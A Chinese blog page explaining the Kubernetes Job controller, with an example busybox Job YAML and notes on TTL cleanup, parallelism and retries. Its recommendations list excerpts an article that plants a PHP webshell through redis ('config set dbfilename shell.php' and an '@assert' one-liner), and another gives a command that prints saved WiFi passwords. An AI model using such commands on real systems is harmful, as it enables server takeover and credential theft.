k8s job 控制器
Job控制器可以执行3种类型的任务
1)一次性任务
2)串式任务 spec.completions
3)并形式任务 spec.parallelism
默认Job执行后,不会自动删除,需要手动删除,例如kubectl delete job examplejobv1
如果想要自动删除,需要修改配置文件
直接修改 /etc/kubernetes/manifests
下面对应的kube-apiserver.yaml kube-controller-manager.yaml kube-scheduler.yaml
加入- --feature-gates=TTLAfterFinished=true

job的事例
同时创建4个Pod运行,待某一Pod运行结束,继续创建后续的Pod, 知道所有的11个job执行结束,
并且这些job执行结束后,会自动删除,删除的时间是30秒
[root@master01 ~]# cat myjob-busybox.yaml
apiVersion: batch/v1
kind: Job
metadata:
name: myjob-busybox
spec:
ttlSecondsAfterFinished: 30
activeDeadlineSeconds: 60
completions: 11
parallelism: 4
backoffLimit: 6
template:
spec:
restartPolicy: Never
containers:
- name: myjob-busybox-container
image: busybox
imagePullPolicy: IfNotPresent
command: ['sh','-c']
args: ['echo "start job";sleep 20;echo "job end"']
[root@master01 ~]#
job的restartPolicy只可以是Onfailure和Never中的一个
如果设置为Onfailure,默认重试次数是6, 以上事例可以不写backoffLimit
失败后,会按照10s, 20, 40s 120s 240s 等,递增延迟重试,上限是240s(6分钟)
设置activeDeadlineSeconds可以用时间来限制假死的job,时间一到强制推出job
k8s job 控制器的更多相关文章
- 3.k8s资源控制器rs Deployment Job
k8s资源控制器 #控制器类型 ReplicaSet #rs,确保pod副本数,rs已替代rc Deployment #管理rs,升级.回滚.扩容pod DaemonSet #在每个节点运行一个Pod ...
- K8S ingress控制器
文章转载自: K8S ingress控制器 (一)https://blog.51cto.com/u_13760351/2728917 K8S ingress控制器 (二)https://blog.51 ...
- k8s StatefulSet控制器-独立存储
k8s-StatefulSet控制器-独立存储 1. StatefulSet控制器-独立存储 独享存储:StatefulSet的存储卷使用VolumeClaimTemplate创建,称为卷申请模板,当 ...
- k8s编排最佳实践
编排文件技巧 使用资源时指定最新稳定版的API version 编排文件应该纳入版本控制,这样可以在必要的时候快速回滚,同样也有利于资源恢复和重建 使用YAML格式而不是JSON格式,尽管两种格式的文 ...
- Docker&K8S&持续集成与容器管理--系列教程
前言 网络虚拟化 一 Docker简介 Docker介绍 → B站视频链接 Docker架构 → B站视频链接 二 Docker安装 Ubuntu Docker 安装 CentOS Docker ...
- 浅谈 k8s ingress controller 选型
大家好,先简单自我介绍下,我叫厉辉,来自腾讯云.业余时间比较喜欢开源,现在是Apache APISIX PPMC.今天我来简单给大家介绍下 K8S Ingress 控制器的选型经验,今天我讲的这些内容 ...
- 图解kubernetes控制器StatefulSet核心实现原理
StatefulSet是k8s中有状态应用管理的标准实现,今天就一起来了解下其背后设计的场景与原理,从而了解其适用范围与场景 1. 基础概念 首先介绍有状态应用里面的需要考虑的一些基础的事情,然后在下 ...
- 容器编排系统之ReplicaSet和Deployment控制器
前文我们了解了k8s上的Pod资源的生命周期.健康状态和就绪状态探测以及资源限制相关话题,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/14143610.htm ...
- 如何接入 K8s 持久化存储?K8s CSI 实现机制浅析
作者 王成,腾讯云研发工程师,Kubernetes contributor,从事数据库产品容器化.资源管控等工作,关注 Kubernetes.Go.云原生领域. 概述 进入 K8s 的世界,会发现有很 ...
随机推荐
- linux系统的认识
当使用其他工具连接linux系统时的常用命令. 连接:ssh 用户名@ip 进入根目录:cd / (一般都是先进入根目录然后才能进入其他文件夹) 进入其他文件夹:cd /home ...
- win10 查看已保存的wifi密码
netsh wlan show profile name="WIFINAME-Test" key=clear C:\windows\system32> C:\window ...
- TcaplusDB服务体系揭秘
导言 TcaplusDB是腾讯出品的分布式NoSQL数据库,存储和调度的代码完全自研.具备缓存+落地融合架构.PB级存储.毫秒级时延.无损水平扩展和复杂数据结构等特性.同时具备丰富的生态.便捷的迁移. ...
- docker仓库之harbor高可用 (三)
基于上一篇部署完成了企业级仓库harbor的部署,今天我们来聊聊什么是harbor的高可用 Harbor 支持基于策略的 Docker 镜像复制功能,这类似于 MySQL 的主从同步,其可以实现不同的 ...
- golang知识总结
目录 1.slice扩容规则 2.内存寻址.内存对齐,go结构体内存对齐策略 3.go语言map类型分析 3.1 hash冲突 3.2 hash表扩容 3.3 go语言中的map结构是hash表. 3 ...
- 分分钟钟学会Python - 第四章 文件操作
4.1 文件基本操作 obj = open('路径',mode='模式',encoding='编码') obj.write() # 写入 obj.read() # 读取 obj.close() #关闭 ...
- 《C++ Primer》笔记 第4章 表达式
C++的表达式要不然是右值(right-value or read-value),要不然就是左值(left-value or location-value). 当一个对象被用作右值的时候,用的是对象的 ...
- 人脸检测数据源制作与基于caffe构架的ALEXNET神经网络训练
本篇文章主要记录的是人脸检测数据源制作与ALEXNET网络训练实现检测到人脸(基于caffe). 1.数据获取 数据获取: ① benchmark是一个行业的基准(数据库.论文.源码.结果),例如WI ...
- 使用Groovy构建DSL
DSL(Domain Specific Language)是针对某一领域,具有受限表达性的一种计算机程序设计语言. 常用于聚焦指定的领域或问题,这就要求 DSL 具备强大的表现力,同时在使用起来要简单 ...
- redis一句话木马控电脑
(1)在redis管理工具内写入木马并保存: 输入命令行: config set dbfilename shell.php set shell "<?php @assert($_P ...